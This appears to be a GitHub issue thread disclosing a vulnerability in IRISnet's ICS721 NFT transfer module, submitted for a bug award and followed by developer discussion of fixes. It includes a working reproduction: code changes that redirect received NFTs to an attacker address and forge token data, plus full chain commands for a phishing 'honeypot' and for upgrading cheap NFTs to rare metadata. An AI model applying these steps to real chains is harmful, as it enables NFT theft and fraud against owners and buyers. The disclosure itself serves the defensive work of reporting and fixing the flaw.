AWARD: Ark Protocol Claim Best Auditor and/or Bug :)

[taitruong]

Not sure whether the following exploit covers Best Auditor or Bug or both :).

Summary

There is a way of rugging an NFT and changing its (token) data, by having the following setup:

1. Original collection is e.g. on IRISnet
   Collection is created on IRISnet and an NFT is minted with token data

2. An exploited ICS721 contract is setup e.g. on Stargaze
   On receiving an NFT (from IRISnet) it does:
   This contract overrides incoming recipient address send from IRISnet and provides its own address as new NFT owner.

On sending an NFT (to IRISnet) it does:
sends an NFT with exploited/manipulated token data

Exploit happens this way then:

• user is directed via a fake site/link enforcing sending his NFT to Stargaze.
• user believes NFT is transferred over to Stargaze and its stargaze wallet (aka recipient)
• NFT is transferred to Stargaze via exploited ICS721 contract
• ICS721 contract sends NFT to a newly instanted CW721 collection
• NFT is stolen, since recipient address got overriden, where ICS721 passed another address
• exploiter owns NFT and sends it back to original/OG collection to IRISnet with its address as new owner
• exploited ICS721 contract does send exploited token data (e.g. with a more rare trait as on-chain metadata)
• nft module on IRISnet receives NFT, unlocks NFT by assigning new owner AND changes token-data

Steps to reproduce:

original ICS721 contract is here: https://github.com/public-awesome/ics721/tree/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge

On NFT receive and taking NFT ownership, replace line 55 with this: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/ibc_packet_receive.rs#L55

    let rugged_receiver = "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc";
    let receiver = deps.api.addr_validate(rugged_receiver)?;

On NFT transfer and changing token data, replace line 190: https://github.com/public-awesome/ics721/blob/3af19e421a95aec5291a0cabbe796c58698ac97f/contracts/cw-ics721-bridge/src/contract.rs#L190

        token_data: Some(vec![to_binary("{\"exploit\": \"gotcha\"}")?]),

Now a honeypot on Stargaze needs to be setup:

• upload exploited ICS721 contract on a target chain like Stargaze or any wasm based chain
• setup IBC channels between exploited ICS721 contract (on target chain) and nft module (on source/OG chain)
• transfer NFT via exploited channel to target chain
• transfer NFT back to source chain

Detailed steps:

# upload exploited ICS721 contract (ICS721 code id: 1674)
starsd tx wasm store ./cw_ics721_bridge_exploit.wasm  --gas auto --gas-adjustment 1.3 -b sync --output json --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc -y

# instantiated exploited ICS721 contract (ICS721 contract: stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl)
starsd tx wasm instantiate 1674 '{"cw721_base_code_id":1635}' --label exploit --gas auto --gas-adjustment 1.3 -b block --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc --yes --admin stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc

# create IBC channel (IRISnet: channel-38, Stargaze: channel-229)
hermes --config relayer/config.toml create channel --new-client-connection --channel-version ics721-1 --yes --a-chain elgafar-1 --b-chain gon-irishub-1 --a-port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl --b-port nft-transfer

# mint NFT: arkNFT003, owner: iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
clear;./mint.sh --chain iris --collection-id arkprotocol001 --token-id arkNFT003 --uri "https://my-og-collection.io" --name "This is the OG collection" --data '{"twitter": "arkprotocol", "discord_invite": "https://discord.gg/fVv6Mf9Wr8", "team_name": "Ark Protocol", "description": "This one gets exploited"}' --data '{"og": "collection"}'
# query minted NFT
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "This is the OG collection",
  "uri": "https://my-og-collection.io",
  "data": "{\"og\": \"collection\"}",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
}

# transfer to exploited channel, with receiver: stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf
iris tx nft-transfer transfer nft-transfer channel-38 stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf arkprotocol001 arkNFT003 --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f --fees 2000uiris        -b sync --yes --output json

# relay to Stargaze
hermes --config relayer/config.toml clear packets --chain gon-irishub-1 --channel channel-38 --port nft-transfer

# retrieve cw721 contract (stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869)
starsd query wasm contract-state smart stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl '{"nft_contract":{"class_id":"wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl/channel-229/arkprotocol001"}}'
# query shows nft got receive not by above recipient, but by wallet given by exploited ICS721 contract
starsd query wasm contract-state smart stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{"all_nft_info":{"token_id": "arkNFT003"}}' --output json | jq
{
  "data": {
    "access": {
      "owner": "stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc",
      "approvals": []
    },
...

# exploiter, new owner transfers back to IRISnet to any wallet
starsd tx wasm execute stars14fu9yngepuqagcf22wwjmaq8tfu2vjdsfjfnss2rccpmpanyp4ps5g9869 '{
        "send_nft": {
            "contract": "stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl",
            "token_id": "arkNFT003",
            "msg": "eyAicmVjZWl2ZXIiOiAiaWFhMTgzZTdjY3dzbm5najJxOGxmeG5tZWt1bnNwbmZ4czZxeGQ0djNmIiwgImNoYW5uZWxfaWQiOiAiY2hhbm5lbC0yMjkiLCAidGltZW91dCI6IHsgImJsb2NrIjogeyAicmV2aXNpb24iOiA2LCAiaGVpZ2h0IjogMzk5OTk5OSB9IH0gfQo="}}'        --from stars1g0krhq56pmxmaz8lnj8h6jf55kcsq7x0lw5ywc        --gas-prices 0.01ustars --gas auto --gas-adjustment 1.3        -b sync --yes --output json

# relayer does the actual transportation to IRISnet:
hermes --config relayer/config.toml clear packets --chain elgafar-1 --channel channel-229 --port wasm.stars1w3yvvdycc63lzvxacwzn5sz3gxvyeklyn93ueyr43e20vps87zjshw3cvl

# query on OG collection on IRISnet shows token data has changed
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "",
  "uri": "https://my-og-collection.io",
  "data": "\"{\\\"exploit\\\": \\\"gotcha\\\"}\"",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
} 

[taitruong]

Zip file contains wasm contract and changed sources on ICS721 contract.

ics721_exploit.zip

[taitruong]

Huge shoutout to our team member @Art3miX who found this code snippet in the spec, indicating and depending on app chain how it is implemented there might be an issue: https://github.com/cosmos/ibc/blob/main/spec/app/ics-721-nft-transfer/README.md?plain=1#L362

[taitruong]

Please also note from example above that name has also been changed:

# before transfer:
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "This is the OG collection",
  "uri": "https://my-og-collection.io",
  "data": "{\"og\": \"collection\"}",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
}

# after exploited transfer:
iris query nft token arkprotocol001 arkNFT003 --output json | jq
{
  "id": "arkNFT003",
  "name": "",
  "uri": "https://my-og-collection.io",
  "data": "\"{\\\"exploit\\\": \\\"gotcha\\\"}\"",
  "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
  "uri_hash": ""
} 

[taitruong]

Some additional links and proofs we have been involved in auditing and testing of ICS721 spec and implementations:

1. Provide integration tests for ICS721 contract (Sep 2022)

Source: public-awesome/cw-ics721@6b43422

2. ICS721 spec review and contribution regarding class and token data (Dec 2022)

Spec: https://github.com/cosmos/ibc/tree/main/spec/app/ics-721-nft-transfer#data-structures
Discussion in Discord group chat with IRISnet, Stargaze, Juno and Ark Protocol: https://discord.com/channels/@me/1037612546707959878/1050887376404217897

3. Extend ICS721 contract with class and token data

Source: public-awesome/cw-ics721#43

4. Multichain Ark Genesis Collection on 4 testnets (Dec 22 - Jan 23)

Launchpad on 4 chains for massive ICS721 tests with Cosmos community: https://twitter.com/arkprotocol/status/1605876731633623040?s=20

5. Review and test ICS721 extension (Jan 2023)

Review spec, test and identified bug in nft module on passing wrong JSON format in case Class URIs and Token URIs are empty.
Source in discord chat: https://discord.com/channels/@me/1037612546707959878/1065147420394139698

[giansalex]

Are you saying that this works only if a user interacts with a fake site?

[taitruong]

Even better: I could buy a cheap NFT, transfer it over, change to legendary traits, transfer it back and list it on a marketplace.

[giansalex]

if you back to origin, the module should only transfer the nft to the receiver, not modify it.
https://github.com/bianjieai/nft-transfer/blob/v1.1.1-beta/keeper/relay.go#L353

[taitruong]

Correct. Precisely ICS721 burns NFT on source chain and unlock it on target chain. Token data should be passed to collection, like CW721, which can then do whatever it wants to - even changing it. That's what ICS721 is suppose to do, nothing more.

[dreamer-zq]

The key to this problem is that users believe in illegal ICS721 contracts, the most common of which is phishing attacks. So we should find a way for users to easily prove the legitimacy of the contract, I think this should be what the nft marketplace should do

[Art3miX]

The key to this problem is that users believe in illegal ICS721 contracts, the most common of which is phishing attacks. So we should find a way for users to easily prove the legitimacy of the contract, I think this should be what the nft marketplace should do

I think thats only 1 use-case.

We are talking about transfers here, and by the spec those are permission-less, so what I as a user can do, is create my own cw721 contract on any chain (Juno for example), do changes to the metadata (and name), and send back to source chain, the result would be NFT with changed metadata by what I chose it to be, here is a step by step:

1. Create cw721 on Juno (this custom cw721 can change metadata of received NFTs)
2. Buy any cheap NFT on iris (NFT1)
3. Transfer it to created cw721 on step 1
4. Change NFT1 metadata to 1/1 (to very rare metadata)
5. Send back to Iris

Result: original cheap NFT (NFT1) turns into a 1/1 NFT (very rare) simply by sending it over to Juno to my own custom cw721 contract.

Allowing metadata changes from target chain, without any permissions or controlled environment is very risky, and from the above example metadata becomes useless as any user can easily change them to any value they want.

[taitruong]

Huge shoutout to our team member @Art3miX who found this code snippet in the spec, indicating and depending on app chain how it is implemented there might be an issue: https://github.com/cosmos/ibc/blob/main/spec/app/ics-721-nft-transfer/README.md?plain=1#L362

main branch has changed - still though it hasn't changed. Referring to link at the time of above comment: https://github.com/cosmos/ibc/blob/4bf1dd9a64a7e8bad1f5c1a47ce3cf1ec58ac581/spec/app/ics-721-nft-transfer/README.md?plain=1#L362

Wihat we are pointing out is that nft module takes token data from source and overrides existing NFT. So everything is possible here: metadta, uri, owner...

[taitruong]

The problem has been identified by @Art3miX, Ark Protocol, last month: https://discord.com/channels/@me/1037612546707959878/1078657001577521233

[giansalex]

The problem has been identified by @Art3miX, Ark Protocol, last month: https://discord.com/channels/@me/1037612546707959878/1078657001577521233

checking the code, the tokenUri cannot be modified, have you tested it? can share Tx hash?

[giansalex]

@Art3miX can you prove that the tokenUri can be changed?

[Art3miX]

@Art3miX can you prove that the tokenUri can be changed?

No, the issue was only with the TokenData last I saw, it was simply taken from the sent packet, and replaced as is, which would cause metadata to be useless as anyone can easily change them with a simple transfer.

[taitruong]

This issue has been split up to: #705 and #713

[taitruong]

@Art3miX can you prove that the tokenUri can be changed?

No, the issue was only with the TokenData last I saw, it was simply taken from the sent packet, and replaced as is, which would cause metadata to be useless as anyone can easily change them with a simple transfer.

The general problem I wanted to outline in this issue is that nft module takes incoming packet 'as-given' and trusts it, without checking anything that is passed in NonFungibleTokenPacketData: https://github.com/bianjieai/nft-transfer/blob/6b8596c47042c45cdba994b2b4e1b64f1520041b/types/packet.pb.go#L28-L47

type NonFungibleTokenPacketData struct {
	// the class_id of class to be transferred
	ClassId string `protobuf:"bytes,1,opt,name=class_id,json=classId,proto3" json:"class_id,omitempty"`
	// the class_uri of class to be transferred
	ClassUri string `protobuf:"bytes,2,opt,name=class_uri,json=classUri,proto3" json:"class_uri,omitempty"`
	// the class_data of class to be transferred
	ClassData string `protobuf:"bytes,3,opt,name=class_data,json=classData,proto3" json:"class_data,omitempty"`
	// the non fungible tokens to be transferred
	TokenIds []string `protobuf:"bytes,4,rep,name=token_ids,json=tokenIds,proto3" json:"token_ids,omitempty"`
	// the non fungible tokens's uri to be transferred
	TokenUris []string `protobuf:"bytes,5,rep,name=token_uris,json=tokenUris,proto3" json:"token_uris,omitempty"`
	// the non fungible tokens's data to be transferred
	TokenData []string `protobuf:"bytes,6,rep,name=token_data,json=tokenData,proto3" json:"token_data,omitempty"`
	// the sender address
	Sender string `protobuf:"bytes,7,opt,name=sender,proto3" json:"sender,omitempty"`
	// the recipient address on the destination chain
	Receiver string `protobuf:"bytes,8,opt,name=receiver,proto3" json:"receiver,omitempty"`
	// optional memo
	Memo string `protobuf:"bytes,9,opt,name=memo,proto3" json:"memo,omitempty"`
}

The most severe issued is in this case ClassId, where an exploiter can send an IBC message with a modified NonFungibleTokenPacketData with changed class id and receiver. Though there is a fix in PR 12, it can still be exploited. The tricky part is how to check sender is legitimate to do back transfer? Reason is before NFT may got transferred, and on other chain NFT it got internally transferred to another wallet. So storing wallet won't help - but(!) storing the port + channel + token id at the time it got transferred to other chain, is sufficient!

Simply said: ClassId must be check against port and channel, at 2 places: at the time it was send (outgoing channel) and at the time it got received. See my comment in PR and also in #713: #713 (comment)

Next one is

[taitruong]

Still there is a bug left here, as noted in #705, in this comment: #705 (comment)

When creating a collection with nft module these 2 flags can be set:

MintRestricted: If set to true, only the owner of the class can mint nft under the class
UpdateRestricted: If set to true, no one can modify nft

In this bug, a collection was created with UpdateRestricted=true, so only owner is supposed to be able to update NFTs in this collection.

Though when sending NFT to another chain and back, nft-transfer module was changing token data.